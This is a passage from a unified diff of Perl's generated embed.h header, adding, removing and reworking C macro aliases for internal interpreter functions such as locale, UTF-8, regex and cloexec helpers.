Perl_sv_pvn(aTHX_ a,b) -#endif #define sv_pvn_force_flags(a,b,c) Perl_sv_pvn_force_flags(aTHX_ a,b,c) -#ifndef NO_MATHOMS #define sv_pvn_nomg(a,b) Perl_sv_pvn_nomg(aTHX_ a,b) -#endif -#ifndef NO_MATHOMS #define sv_pvutf8n(a,b) Perl_sv_pvutf8n(aTHX_ a,b) -#endif #define sv_pvutf8n_force(a,b) Perl_sv_pvutf8n_force(aTHX_ a,b) #define sv_recode_to_utf8(a,b) Perl_sv_recode_to_utf8(aTHX_ a,b) #define sv_ref(a,b,c) Perl_sv_ref(aTHX_ a,b,c) @@ -804,7 +669,6 @@ #define sv_replace(a,b) Perl_sv_replace(aTHX_ a,b) #define sv_report_used() Perl_sv_report_used(aTHX) #define sv_reset(a,b) Perl_sv_reset(aTHX_ a,b) -#define sv_rvunweaken(a) Perl_sv_rvunweaken(aTHX_ a) #define sv_rvweaken(a) Perl_sv_rvweaken(aTHX_ a) #define sv_set_undef(a) Perl_sv_set_undef(aTHX_ a) #define sv_setiv(a,b) Perl_sv_setiv(aTHX_ a,b) @@ -835,7 +699,6 @@ #define sv_setsv_mg(a,b) Perl_sv_setsv_mg(aTHX_ a,b) #define sv_setuv(a,b) Perl_sv_setuv(aTHX_ a,b) #define sv_setuv_mg(a,b) Perl_sv_setuv_mg(aTHX_ a,b) -#define sv_string_from_errnum(a,b) Perl_sv_string_from_errnum(aTHX_ a,b) #define sv_tainted(a) Perl_sv_tainted(aTHX_ a) #define sv_true(a) Perl_sv_true(aTHX_ a) #define sv_uni_display(a,b,c,d) Perl_sv_uni_display(aTHX_ a,b,c,d) @@ -849,9 +712,7 @@ #define sv_utf8_downgrade(a,b) Perl_sv_utf8_downgrade(aTHX_ a,b) #define sv_utf8_encode(a) Perl_sv_utf8_encode(aTHX_ a) #define sv_utf8_upgrade_flags_grow(a,b,c) Perl_sv_utf8_upgrade_flags_grow(aTHX_ a,b,c) -#ifndef NO_MATHOMS #define sv_uv(a) Perl_sv_uv(aTHX_ a) -#endif #define sv_vcatpvf(a,b,c) Perl_sv_vcatpvf(aTHX_ a,b,c) #define sv_vcatpvf_mg(a,b,c) Perl_sv_vcatpvf_mg(aTHX_ a,b,c) #define sv_vcatpvfn(a,b,c,d,e,f,g) Perl_sv_vcatpvfn(aTHX_ a,b,c,d,e,f,g) @@ -859,30 +720,22 @@ #define sv_vsetpvf(a,b,c) Perl_sv_vsetpvf(aTHX_ a,b,c) #define sv_vsetpvf_mg(a,b,c) Perl_sv_vsetpvf_mg(aTHX_ a,b,c) #define sv_vsetpvfn(a,b,c,d,e,f,g) Perl_sv_vsetpvfn(aTHX_ a,b,c,d,e,f,g) -#define switch_to_global_locale Perl_switch_to_global_locale -#define sync_locale Perl_sync_locale +#define sync_locale() Perl_sync_locale(aTHX) #define taint_env() Perl_taint_env(aTHX) #define taint_proper(a,b) Perl_taint_proper(aTHX_ a,b) -#define thread_locale_init Perl_thread_locale_init -#define thread_locale_term Perl_thread_locale_term #define to_uni_lower(a,b,c) Perl_to_uni_lower(aTHX_ a,b,c) -#ifndef NO_MATHOMS #define to_uni_lower_lc(a) Perl_to_uni_lower_lc(aTHX_ a) -#endif #define to_uni_title(a,b,c) Perl_to_uni_title(aTHX_ a,b,c) -#ifndef NO_MATHOMS #define to_uni_title_lc(a) Perl_to_uni_title_lc(aTHX_ a) -#endif #define to_uni_upper(a,b,c) Perl_to_uni_upper(aTHX_ a,b,c) -#ifndef NO_MATHOMS #define to_uni_upper_lc(a) Perl_to_uni_upper_lc(aTHX_ a) -#endif -#ifndef NO_MATHOMS +#define to_utf8_case(a,b,c,d,e,f) Perl_to_utf8_case(aTHX_ a,b,c,d,e,f) #define unpack_str(a,b,c,d,e,f,g,h) Perl_unpack_str(aTHX_ a,b,c,d,e,f,g,h) -#endif #define unpackstring(a,b,c,d,e) Perl_unpackstring(aTHX_ a,b,c,d,e) #define unsharepvn(a,b,c) Perl_unsharepvn(aTHX_ a,b,c) #define upg_version(a,b) Perl_upg_version(aTHX_ a,b) +#define utf16_to_utf8(a,b,c,d) Perl_utf16_to_utf8(aTHX_ a,b,c,d) +#define utf16_to_utf8_reversed(a,b,c,d) Perl_utf16_to_utf8_reversed(aTHX_ a,b,c,d) #define utf8_distance(a,b) Perl_utf8_distance(aTHX_ a,b) #define utf8_hop Perl_utf8_hop #define utf8_hop_back Perl_utf8_hop_back @@ -891,19 +744,15 @@ #define utf8_length(a,b) Perl_utf8_length(aTHX_ a,b) #define utf8_to_bytes(a,b) Perl_utf8_to_bytes(aTHX_ a,b) #define utf8_to_uvchr(a,b) Perl_utf8_to_uvchr(aTHX_ a,b) -#ifndef NO_MATHOMS #define utf8_to_uvuni(a,b) Perl_utf8_to_uvuni(aTHX_ a,b) -#endif #define utf8_to_uvuni_buf(a,b,c) Perl_utf8_to_uvuni_buf(aTHX_ a,b,c) -#define utf8n_to_uvchr_msgs(a,b,c,d,e,f) Perl_utf8n_to_uvchr_msgs(aTHX_ a,b,c,d,e,f) +#define utf8n_to_uvchr_error(a,b,c,d,e) Perl_utf8n_to_uvchr_error(aTHX_ a,b,c,d,e) #define utf8n_to_uvuni(a,b,c,d) Perl_utf8n_to_uvuni(aTHX_ a,b,c,d) -#define uvoffuni_to_utf8_flags_msgs(a,b,c,d) Perl_uvoffuni_to_utf8_flags_msgs(aTHX_ a,b,c,d) +#define uvoffuni_to_utf8_flags(a,b,c) Perl_uvoffuni_to_utf8_flags(aTHX_ a,b,c) #define uvuni_to_utf8(a,b) Perl_uvuni_to_utf8(aTHX_ a,b) #define uvuni_to_utf8_flags(a,b,c) Perl_uvuni_to_utf8_flags(aTHX_ a,b,c) #define valid_utf8_to_uvchr Perl_valid_utf8_to_uvchr -#ifndef NO_MATHOMS #define valid_utf8_to_uvuni(a,b) Perl_valid_utf8_to_uvuni(aTHX_ a,b) -#endif #define vcmp(a,b) Perl_vcmp(aTHX_ a,b) #define vcroak(a,b) Perl_vcroak(aTHX_ a,b) #define vdeb(a,b) Perl_vdeb(aTHX_ a,b) @@ -927,7 +776,6 @@ #define whichsig_pv(a) Perl_whichsig_pv(aTHX_ a) #define whichsig_pvn(a,b) Perl_whichsig_pvn(aTHX_ a,b) #define whichsig_sv(a) Perl_whichsig_sv(aTHX_ a) -#define wrap_keyword_plugin(a,b) Perl_wrap_keyword_plugin(aTHX_ a,b) #define wrap_op_checker(a,b,c) Perl_wrap_op_checker(aTHX_ a,b,c) #if !(defined(HAS_MEMMEM)) #define ninstr Perl_ninstr @@ -935,8 +783,17 @@ #if !(defined(HAS_SIGACTION) && defined(SA_SIGINFO)) #define csighandler Perl_csighandler #endif -#if !defined(EBCDIC) -#define _variant_byte_number S__variant_byte_number +#if !defined(HAS_BZERO) && !defined(HAS_MEMSET) +#define my_bzero Perl_my_bzero +#endif +#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP) +#define my_memcmp Perl_my_memcmp +#endif +#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY)) +#define my_bcopy Perl_my_bcopy +#endif +#if !defined(HAS_MEMSET) +#define my_memset Perl_my_memset #endif #if !defined(HAS_TRUNCATE) && !defined(HAS_CHSIZE) && defined(F_FREESP) #define my_chsize(a,b) Perl_my_chsize(aTHX_ a,b) @@ -968,6 +825,9 @@ #if defined(DEBUGGING) #define pad_setsv(a,b) Perl_pad_setsv(aTHX_ a,b) #define pad_sv(a) Perl_pad_sv(aTHX_ a) +# if defined(USE_LOCALE) && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX)) +#define _setlocale_debug_string Perl__setlocale_debug_string +# endif #endif #if defined(HAS_SIGACTION) && defined(SA_SIGINFO) #define csighandler Perl_csighandler @@ -993,15 +853,11 @@ #define deb_nocontext Perl_deb_nocontext #define die_nocontext Perl_die_nocontext #define form_nocontext Perl_form_nocontext -#ifndef NO_MATHOMS #define fprintf_nocontext Perl_fprintf_nocontext -#endif #define load_module_nocontext Perl_load_module_nocontext #define mess_nocontext Perl_mess_nocontext #define newSVpvf_nocontext Perl_newSVpvf_nocontext -#ifndef NO_MATHOMS #define printf_nocontext Perl_printf_nocontext -#endif #define sv_catpvf_mg_nocontext Perl_sv_catpvf_mg_nocontext #define sv_catpvf_nocontext Perl_sv_catpvf_nocontext #define sv_setpvf_mg_nocontext Perl_sv_setpvf_mg_nocontext @@ -1039,7 +895,7 @@ #define sv_dup(a,b) Perl_sv_dup(aTHX_ a,b) #define sv_dup_inc(a,b) Perl_sv_dup_inc(aTHX_ a,b) #endif -#if defined(USE_LOCALE) && ( defined(PERL_IN_LOCALE_C) || defined(PERL_IN_MG_C) || defined (PERL_EXT_POSIX) || defined (PERL_EXT_LANGINFO)) +#if defined(USE_LOCALE) && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX)) #define _is_cur_LC_category_utf8(a) Perl__is_cur_LC_category_utf8(aTHX_ a) #endif #if defined(USE_LOCALE_COLLATE) @@ -1073,24 +929,24 @@ #define quadmath_format_needed Perl_quadmath_format_needed #define quadmath_format_single Perl_quadmath_format_single #endif +#if defined(WIN32) +#define my_setlocale(a,b) Perl_my_setlocale(aTHX_ a,b) +#endif #if defined(WIN32) || defined(__SYMBIAN32__) || defined(VMS) #define do_aspawn(a,b,c) Perl_do_aspawn(aTHX_ a,b,c) #define do_spawn(a) Perl_do_spawn(aTHX_ a) #define do_spawn_nowait(a) Perl_do_spawn_nowait(aTHX_ a) #endif #if defined(PERL_CORE) || defined(PERL_EXT) -#define _byte_dump_string(a,b,c) Perl__byte_dump_string(aTHX_ a,b,c) -#define _inverse_folds(a,b,c) Perl__inverse_folds(aTHX_ a,b,c) +#define _warn_problematic_locale Perl__warn_problematic_locale #define append_utf8_from_native_byte S_append_utf8_from_native_byte #define av_reify(a) Perl_av_reify(aTHX_ a) #define current_re_engine() Perl_current_re_engine(aTHX) #define cv_ckproto_len_flags(a,b,c,d,e) Perl_cv_ckproto_len_flags(aTHX_ a,b,c,d,e) #define grok_atoUV Perl_grok_atoUV #define mg_find_mglob(a) Perl_mg_find_mglob(aTHX_ a) -#define multiconcat_stringify(a) Perl_multiconcat_stringify(aTHX_ a) #define multideref_stringify(a,b) Perl_multideref_stringify(aTHX_ a,b) #define op_clear(a) Perl_op_clear(aTHX_ a) -#define parse_uniprop_string(a,b,c,d) Perl_parse_uniprop_string(aTHX_ a,b,c,d) #define qerror(a) Perl_qerror(aTHX_ a) #define reg_named_buff(a,b,c,d) Perl_reg_named_buff(aTHX_ a,b,c,d) #define reg_named_buff_iter(a,b,c) Perl_reg_named_buff_iter(aTHX_ a,b,c) @@ -1104,14 +960,9 @@ #define sv_only_taint_gmagic S_sv_only_taint_gmagic #define swash_fetch(a,b,c) Perl_swash_fetch(aTHX_ a,b,c) #define swash_init(a,b,c,d,e) Perl_swash_init(aTHX_ a,b,c,d,e) -#define utf16_to_utf8(a,b,c,d) Perl_utf16_to_utf8(aTHX_ a,b,c,d) -#define utf16_to_utf8_reversed(a,b,c,d) Perl_utf16_to_utf8_reversed(aTHX_ a,b,c,d) -#define validate_proto(a,b,c,d) Perl_validate_proto(aTHX_ a,b,c,d) +#define validate_proto(a,b,c) Perl_validate_proto(aTHX_ a,b,c) #define vivify_defelem(a) Perl_vivify_defelem(aTHX_ a) #define yylex() Perl_yylex(aTHX) -# if ! defined(HAS_MEMRCHR) && (defined(PERL_CORE) || defined(PERL_EXT)) -#define my_memrchr S_my_memrchr -# endif # if !defined(PERL_EXT_RE_BUILD) # if defined(PERL_IN_REGCOMP_C) #define _append_range_to_invlist(a,b,c) S__append_range_to_invlist(aTHX_ a,b,c) @@ -1161,13 +1012,8 @@ #define sv_setsv_cow(a,b) Perl_sv_setsv_cow(aTHX_ a,b) # endif # if defined(PERL_CORE) || defined (PERL_EXT) -#define is_utf8_non_invariant_string S_is_utf8_non_invariant_string #define sv_or_pv_pos_u2b(a,b,c,d) S_sv_or_pv_pos_u2b(aTHX_ a,b,c,d) # endif -# if defined(PERL_CORE) || defined(PERL_EXT) -#define isSCRIPT_RUN(a,b,c) Perl_isSCRIPT_RUN(aTHX_ a,b,c) -#define variant_under_utf8_count S_variant_under_utf8_count -# endif # if defined(PERL_IN_REGCOMP_C) #define _make_exactf_invlist(a,b) S__make_exactf_invlist(aTHX_ a,b) #define add_above_Latin1_folds(a,b,c) S_add_above_Latin1_folds(aTHX_ a,b,c) @@ -1179,7 +1025,6 @@ #define compute_EXACTish S_compute_EXACTish #define construct_ahocorasick_from_trie(a,b,c) S_construct_ahocorasick_from_trie(aTHX_ a,b,c) #define edit_distance S_edit_distance -#define get_ANYOFM_contents(a) S_get_ANYOFM_contents(aTHX_ a) #define get_ANYOF_cp_list_for_ssc(a,b) S_get_ANYOF_cp_list_for_ssc(aTHX_ a,b) #define get_invlist_iter_addr S_get_invlist_iter_addr #define grok_bslash_N(a,b,c,d,e,f,g) S_grok_bslash_N(aTHX_ a,b,c,d,e,f,g) @@ -1197,7 +1042,6 @@ #define is_ssc_worth_it S_is_ssc_worth_it #define join_exact(a,b,c,d,e,f,g) S_join_exact(aTHX_ a,b,c,d,e,f,g) #define make_trie(a,b,c,d,e,f,g,h) S_make_trie(aTHX_ a,b,c,d,e,f,g,h) -#define new_regcurly S_new_regcurly #define nextchar(a) S_nextchar(aTHX_ a) #define output_or_return_posix_warnings(a,b,c) S_output_or_return_posix_warnings(aTHX_ a,b,c) #define parse_lparen_question_flags(a) S_parse_lparen_question_flags(aTHX_ a) @@ -1242,16 +1086,18 @@ # endif # if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) #define _get_regclass_nonbitmap_data(a,b,c,d,e,f) Perl__get_regclass_nonbitmap_data(aTHX_ a,b,c,d,e,f) +#define _load_PL_utf8_foldclosures() Perl__load_PL_utf8_foldclosures(aTHX) #ifndef PERL_IMPLICIT_CONTEXT #define re_printf Perl_re_printf #endif #define regprop(a,b,c,d,e) Perl_regprop(aTHX_ a,b,c,d,e) # endif -# if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_UTF8_C) +# if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C) #define _get_swash_invlist(a) Perl__get_swash_invlist(aTHX_ a) #define _invlist_contains_cp S__invlist_contains_cp #define _invlist_len S__invlist_len #define _invlist_search Perl__invlist_search +#define _swash_inversion_hash(a) Perl__swash_inversion_hash(aTHX_ a) #define get_invlist_offset_addr S_get_invlist_offset_addr #define invlist_array S_invlist_array # endif @@ -1261,8 +1107,8 @@ # if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_DQUOTE_C) #define form_short_octal_warning(a,b) S_form_short_octal_warning(aTHX_ a,b) #define grok_bslash_c(a,b) Perl_grok_bslash_c(aTHX_ a,b) -#define grok_bslash_o(a,b,c,d,e,f,g,h) Perl_grok_bslash_o(aTHX_ a,b,c,d,e,f,g,h) -#define grok_bslash_x(a,b,c,d,e,f,g,h) Perl_grok_bslash_x(aTHX_ a,b,c,d,e,f,g,h) +#define grok_bslash_o(a,b,c,d,e,f,g) Perl_grok_bslash_o(aTHX_ a,b,c,d,e,f,g) +#define grok_bslash_x(a,b,c,d,e,f,g) Perl_grok_bslash_x(aTHX_ a,b,c,d,e,f,g) #define regcurly S_regcurly # endif # if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_UTF8_C) @@ -1284,12 +1130,7 @@ #define backup_one_SB(a,b,c) S_backup_one_SB(aTHX_ a,b,c) #define backup_one_WB(a,b,c,d) S_backup_one_WB(aTHX_ a,b,c,d) #define find_byclass(a,b,c,d,e) S_find_byclass(aTHX_ a,b,c,d,e) -#define find_next_ascii S_find_next_ascii -#define find_next_masked S_find_next_masked -#define find_next_non_ascii S_find_next_non_ascii -#define find_span_end S_find_span_end -#define find_span_end_mask S_find_span_end_mask -#define isFOO_utf8_lc(a,b,c) S_isFOO_utf8_lc(aTHX_ a,b,c) +#define isFOO_utf8_lc(a,b) S_isFOO_utf8_lc(aTHX_ a,b) #define isGCB(a,b,c,d,e) S_isGCB(aTHX_ a,b,c,d,e) #define isLB(a,b,c,d,e,f) S_isLB(aTHX_ a,b,c,d,e,f) #define isSB(a,b,c,d,e,f) S_isSB(aTHX_ a,b,c,d,e,f) @@ -1315,25 +1156,19 @@ #define isFOO_lc(a,b) Perl_isFOO_lc(aTHX_ a,b) # endif # if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) -#define _to_fold_latin1 Perl__to_fold_latin1 +#define _to_fold_latin1(a,b,c,d) Perl__to_fold_latin1(aTHX_ a,b,c,d) # endif #endif #ifdef PERL_CORE -#define PerlLIO_dup2_cloexec(a,b) Perl_PerlLIO_dup2_cloexec(aTHX_ a,b) -#define PerlLIO_dup_cloexec(a) Perl_PerlLIO_dup_cloexec(aTHX_ a) -#define PerlLIO_open3_cloexec(a,b,c) Perl_PerlLIO_open3_cloexec(aTHX_ a,b,c) -#define PerlLIO_open_cloexec(a,b) Perl_PerlLIO_open_cloexec(aTHX_ a,b) #define Slab_Alloc(a) Perl_Slab_Alloc(aTHX_ a) #define Slab_Free(a) Perl_Slab_Free(aTHX_ a) -#define _is_in_locale_category(a,b) Perl__is_in_locale_category(aTHX_ a,b) -#define _warn_problematic_locale Perl__warn_problematic_locale +#define _byte_dump_string(a,b,c) Perl__byte_dump_string(aTHX_ a,b,c) #define abort_execution(a,b) Perl_abort_execution(aTHX_ a,b) #define alloc_LOGOP(a,b,c) Perl_alloc_LOGOP(aTHX_ a,b,c) #define allocmy(a,b,c) Perl_allocmy(aTHX_ a,b,c) #define amagic_is_enabled(a) Perl_amagic_is_enabled(aTHX_ a) #define apply(a,b,c) Perl_apply(aTHX_ a,b,c) #define av_extend_guts(a,b,c,d,e) Perl_av_extend_guts(aTHX_ a,b,c,d,e) -#define av_nonelem(a,b) Perl_av_nonelem(aTHX_ a,b) #define bind_match(a,b,c) Perl_bind_match(aTHX_ a,b,c) #define boot_core_PerlIO() Perl_boot_core_PerlIO(aTHX) #define boot_core_UNIVERSAL() Perl_boot_core_UNIVERSAL(aTHX) @@ -1408,9 +1243,10 @@ #define do_aexec5(a,b,c,d,e) Perl_do_aexec5(aTHX_ a,b,c,d,e) #define do_dump_pad(a,b,c,d) Perl_do_dump_pad(aTHX_ a,b,c,d) #define do_eof(a) Perl_do_eof(aTHX_ a) +#define do_execfree() Perl_do_execfree(aTHX) #define do_ncmp(a,b) Perl_do_ncmp(aTHX_ a,b) #define do_open6(a,b,c,d,e,f) Perl_do_open6(aTHX_ a,b,c,d,e,f) -#define do_open_raw(a,b,c,d,e,f) Perl_do_open_raw(aTHX_ a,b,c,d,e,f) +#define do_open_raw(a,b,c,d,e) Perl_do_open_raw(aTHX_ a,b,c,d,e) #define do_print(a,b) Perl_do_print(aTHX_ a,b) #define do_readline() Perl_do_readline(aTHX) #define do_seek(a,b,c) Perl_do_seek(aTHX_ a,b,c) @@ -1437,12 +1273,9 @@ #define gv_try_downgrade(a) Perl_gv_try_downgrade(aTHX_ a) #define hv_ename_add(a,b,c,d) Perl_hv_ename_add(aTHX_ a,b,c,d) #define hv_ename_delete(a,b,c,d) Perl_hv_ename_delete(aTHX_ a,b,c,d) -#define hv_pushkv(a,b) Perl_hv_pushkv(aTHX_ a,b) #define init_argv_symbols(a,b) Perl_init_argv_symbols(aTHX_ a,b) #define init_constants() Perl_init_constants(aTHX) #define init_debugger() Perl_init_debugger(aTHX) -#define init_named_cv(a,b) Perl_init_named_cv(aTHX_ a,b) -#define init_uniprops() Perl_init_uniprops(aTHX) #define invert(a) Perl_invert(aTHX_ a) #define io_close(a,b,c,d) Perl_io_close(aTHX_ a,b,c,d) #define isinfnansv(a) Perl_isinfnansv(aTHX_ a) @@ -1491,7 +1324,6 @@ #define magic_setlvref(a,b) Perl_magic_setlvref(aTHX_ a,b) #define magic_setmglob(a,b) Perl_magic_setmglob(aTHX_ a,b) #define magic_setnkeys(a,b) Perl_magic_setnkeys(aTHX_ a,b) -#define magic_setnonelem(a,b) Perl_magic_setnonelem(aTHX_ a,b) #define magic_setpack(a,b) Perl_magic_setpack(aTHX_ a,b) #define magic_setpos(a,b) Perl_magic_setpos(aTHX_ a,b) #define magic_setregexp(a,b) Perl_magic_setregexp(aTHX_ a,b) @@ -1511,7 +1343,6 @@ #define my_clearenv() Perl_my_clearenv(aTHX) #define my_lstat_flags(a) Perl_my_lstat_flags(aTHX_ a) #define my_stat_flags(a) Perl_my_stat_flags(aTHX_ a) -#define my_strerror(a) Perl_my_strerror(aTHX_ a) #define my_unexec() Perl_my_unexec(aTHX) #define newATTRSUB_x(a,b,c,d,e,f) Perl_newATTRSUB_x(aTHX_ a,b,c,d,e,f) #define newSTUB(a,b) Perl_newSTUB(aTHX_ a,b) @@ -1524,7 +1355,6 @@ #define oopsAV(a) Perl_oopsAV(aTHX_ a) #define oopsHV(a) Perl_oopsHV(aTHX_ a) #define op_unscope(a) Perl_op_unscope(aTHX_ a) -#define optimize_optree(a) Perl_optimize_optree(aTHX_ a) #define package(a) Perl_package(aTHX_ a) #define package_version(a) Perl_package_version(aTHX_ a) #define pad_add_weakref(a) Perl_pad_add_weakref(aTHX_ a) @@ -1560,13 +1390,6 @@ #define scalar(a) Perl_scalar(aTHX_ a) #define scalarvoid(a) Perl_scalarvoid(aTHX_ a) #define set_caret_X() Perl_set_caret_X(aTHX) -#define set_numeric_standard() Perl_set_numeric_standard(aTHX) -#define set_numeric_underlying() Perl_set_numeric_underlying(aTHX) -#define setfd_cloexec Perl_setfd_cloexec -#define setfd_cloexec_for_nonsysfd(a) Perl_setfd_cloexec_for_nonsysfd(aTHX_ a) -#define setfd_cloexec_or_inhexec_by_sysfdness(a) Perl_setfd_cloexec_or_inhexec_by_sysfdness(aTHX_ a) -#define setfd_inhexec Perl_setfd_inhexec -#define setfd_inhexec_for_sysfd(a) Perl_setfd_inhexec_for_sysfd(aTHX_ a) #define sub_crush_depth(a) Perl_sub_crush_depth(aTHX_ a) #define sv_2num(a) Perl_sv_2num(aTHX_ a) #define sv_clean_all() Perl_sv_clean_all(aTHX) @@ -1601,11 +1424,6 @@ # endif # endif # endif -# if !(defined(HAS_NL_LANGINFO)) -# if defined(PERL_IN_LOCALE_C) -#define my_nl_langinfo S_my_nl_langinfo -# endif -# endif # if !(defined(HAS_SIGACTION) && defined(SA_SIGINFO)) #define sighandler Perl_sighandler # endif @@ -1654,27 +1472,12 @@ #define mulexp10 S_mulexp10 # endif # endif -# if !defined(UV_IS_QUAD) -# if defined(PERL_IN_UTF8_C) -#define is_utf8_cp_above_31_bits S_is_utf8_cp_above_31_bits -# endif -# endif # if !defined(WIN32) #define do_exec3(a,b,c) Perl_do_exec3(aTHX_ a,b,c) # endif -# if defined (HAS_SOCKETPAIR) || (defined (HAS_SOCKET) && defined(SOCK_DGRAM) && defined(AF_INET) && defined(PF_INET)) -#define PerlSock_socketpair_cloexec(a,b,c,d) Perl_PerlSock_socketpair_cloexec(aTHX_ a,b,c,d) -# endif # if defined(DEBUGGING) #define get_debug_opts(a,b) Perl_get_debug_opts(aTHX_ a,b) #define set_padlist Perl_set_padlist -# if defined(PERL_IN_LOCALE_C) -# if defined(USE_LOCALE) -#define print_bytes_for_locale(a,b,c) S_print_bytes_for_locale(aTHX_ a,b,c) -#define print_collxfrm_input_and_return(a,b,c,d) S_print_collxfrm_input_and_return(aTHX_ a,b,c,d) -#define setlocale_debug_string S_setlocale_debug_string -# endif -# endif # if defined(PERL_IN_PAD_C) #define cv_dump(a,b) S_cv_dump(aTHX_ a,b) # endif @@ -1685,6 +1488,9 @@ #define printbuf(a,b) S_printbuf(aTHX_ a,b) #define tokereport(a,b) S_tokereport(aTHX_ a,b) # endif +# if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C) +#define print_collxfrm_input_and_return(a,b,c,d) S_print_collxfrm_input_and_return(aTHX_ a,b,c,d) +# endif # endif # if defined(DEBUG_LEAKING_SCALARS_FORK_DUMP) #define dump_sv_child(a) Perl_dump_sv_child(aTHX_ a) @@ -1697,21 +1503,9 @@ #define do_semop(a,b) Perl_do_semop(aTHX_ a,b) #define do_shmio(a,b,c) Perl_do_shmio(aTHX_ a,b,c) # endif -# if defined(HAS_NL_LANGINFO) -# if defined(PERL_IN_LOCALE_C) -#define my_nl_langinfo S_my_nl_langinfo -# endif -# endif -# if defined(HAS_PIPE) -#define PerlProc_pipe_cloexec(a) Perl_PerlProc_pipe_cloexec(aTHX_ a) -# endif # if defined(HAS_SIGACTION) && defined(SA_SIGINFO) #define sighandler Perl_sighandler # endif -# if defined(HAS_SOCKET) -#define PerlSock_accept_cloexec(a,b,c) Perl_PerlSock_accept_cloexec(aTHX_ a,b,c) -#define PerlSock_socket_cloexec(a,b,c) Perl_PerlSock_socket_cloexec(aTHX_ a,b,c) -# endif # if defined(MYMALLOC) #define malloc_good_size Perl_malloc_good_size #define malloced_size Perl_malloced_size @@ -1748,7 +1542,7 @@ # if defined(PERL_IN_DOIO_C) #define exec_failed(a,b,c) S_exec_failed(aTHX_ a,b,c) #define ingroup(a,b) S_ingroup(aTHX_ a,b) -#define openn_cleanup(a,b,c,d,e,f,g,h,i,j,k,l,m) S_openn_cleanup(aTHX_ a,b,c,d,e,f,g,h,i,j,k,l,m) +#define openn_cleanup(a,b,c,d,e,f,g,h,i,j,k,l) S_openn_cleanup(aTHX_ a,b,c,d,e,f,g,h,i,j,k,l) #define openn_setup(a,b,c,d,e,f) S_openn_setup(aTHX_ a,b,c,d,e,f) # endif # if defined(PERL_IN_DOOP_C) @@ -1780,12 +1574,12 @@ # endif # if defined(PERL_IN_HV_C) #define clear_placeholders(a,b) S_clear_placeholders(aTHX_ a,b) +#define hfreeentries(a) S_hfreeentries(aTHX_ a) #define hsplit(a,b,c) S_hsplit(aTHX_ a,b,c) #define hv_auxinit(a) S_hv_auxinit(aTHX_ a) #define hv_auxinit_internal S_hv_auxinit_internal #define hv_delete_common(a,b,c,d,e,f,g) S_hv_delete_common(aTHX_ a,b,c,d,e,f,g) #define hv_free_ent_ret(a,b) S_hv_free_ent_ret(aTHX_ a,b) -#define hv_free_entries(a) S_hv_free_entries(aTHX_ a) #define hv_magic_check S_hv_magic_check #define hv_notallowed(a,b,c,d) S_hv_notallowed(aTHX_ a,b,c,d) #define new_he() S_new_he(aTHX) @@ -1795,25 +1589,6 @@ #define share_hek_flags(a,b,c,d) S_share_hek_flags(aTHX_ a,b,c,d) #define unshare_hek_or_pvn(a,b,c,d) S_unshare_hek_or_pvn(aTHX_ a,b,c,d) # endif -# if defined(PERL_IN_LOCALE_C) -#define category_name S_category_name -#define restore_switched_locale(a,b) S_restore_switched_locale(aTHX_ a,b) -#define save_to_buffer S_save_to_buffer -#define switch_category_locale_to_template(a,b,c) S_switch_category_locale_to_template(aTHX_ a,b,c) -# if defined(USE_LOCALE) -#define new_collate(a) S_new_collate(aTHX_ a) -#define new_ctype(a) S_new_ctype(aTHX_ a) -#define new_numeric(a) S_new_numeric(aTHX_ a) -#define set_numeric_radix(a) S_set_numeric_radix(aTHX_ a) -#define stdize_locale(a) S_stdize_locale(aTHX_ a) -# if defined(USE_POSIX_2008_LOCALE) -#define emulate_setlocale S_emulate_setlocale -# endif -# if defined(WIN32) -#define win32_setlocale(a,b) S_win32_setlocale(aTHX_ a,b) -# endif -# endif -# endif # if defined(PERL_IN_LOCALE_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_MATHOMS_C) # if defined(USE_LOCALE_COLLATE) #define _mem_collxfrm(a,b,c,d) Perl__mem_collxfrm(aTHX_ a,b,c,d) @@ -1858,7 +1633,7 @@ #define listkids(a) S_listkids(aTHX_ a) #define looks_like_bool(a) S_looks_like_bool(aTHX_ a) #define modkids(a,b) S_modkids(aTHX_ a,b) -#define move_proto_attr(a,b,c,d) S_move_proto_attr(aTHX_ a,b,c,d) +#define move_proto_attr(a,b,c) S_move_proto_attr(aTHX_ a,b,c) #define my_kid(a,b,c) S_my_kid(aTHX_ a,b,c) #define newGIVWHENOP(a,b,c,d,e) S_newGIVWHENOP(aTHX_ a,b,c,d,e) #define newMETHOP_internal(a,b,c,d) S_newMETHOP_internal(aTHX_ a,b,c,d) @@ -1867,7 +1642,6 @@ #define no_fh_allowed(a) S_no_fh_allowed(aTHX_ a) #define op_integerize(a) S_op_integerize(aTHX_ a) #define op_std_init(a) S_op_std_init(aTHX_ a) -#define optimize_op(a) S_optimize_op(aTHX_ a) #define pmtrans(a,b,c) S_pmtrans(aTHX_ a,b,c) #define process_special_blocks(a,b,c,d) S_process_special_blocks(aTHX_ a,b,c,d) #define ref_array_or_hash(a) S_ref_array_or_hash(aTHX_ a) @@ -1964,6 +1738,7 @@ #define amagic_cmp(a,b) S_amagic_cmp(aTHX_ a,b) #define amagic_i_ncmp(a,b) S_amagic_i_ncmp(aTHX_ a,b) #define amagic_ncmp(a,b) S_amagic_ncmp(aTHX_ a,b) +#define qsortsvu(a,b,c) S_qsortsvu(aTHX_ a,b,c) #define sortcv(a,b) S_sortcv(aTHX_ a,b) #define sortcv_stacked(a,b) S_sortcv_stacked(aTHX_ a,b) #define sortcv_xsub(a,b) S_sortcv_xsub(aTHX_ a,b) @@ -2021,6 +1796,7 @@ #define ao(a) S_ao(aTHX_ a) #define check_uni() S_check_uni(aTHX) #define checkcomma(a,b,c) S_checkcomma(aTHX_ a,b,c) +#define deprecate_commaless_var_list() S_deprecate_commaless_var_list(aTHX) #define 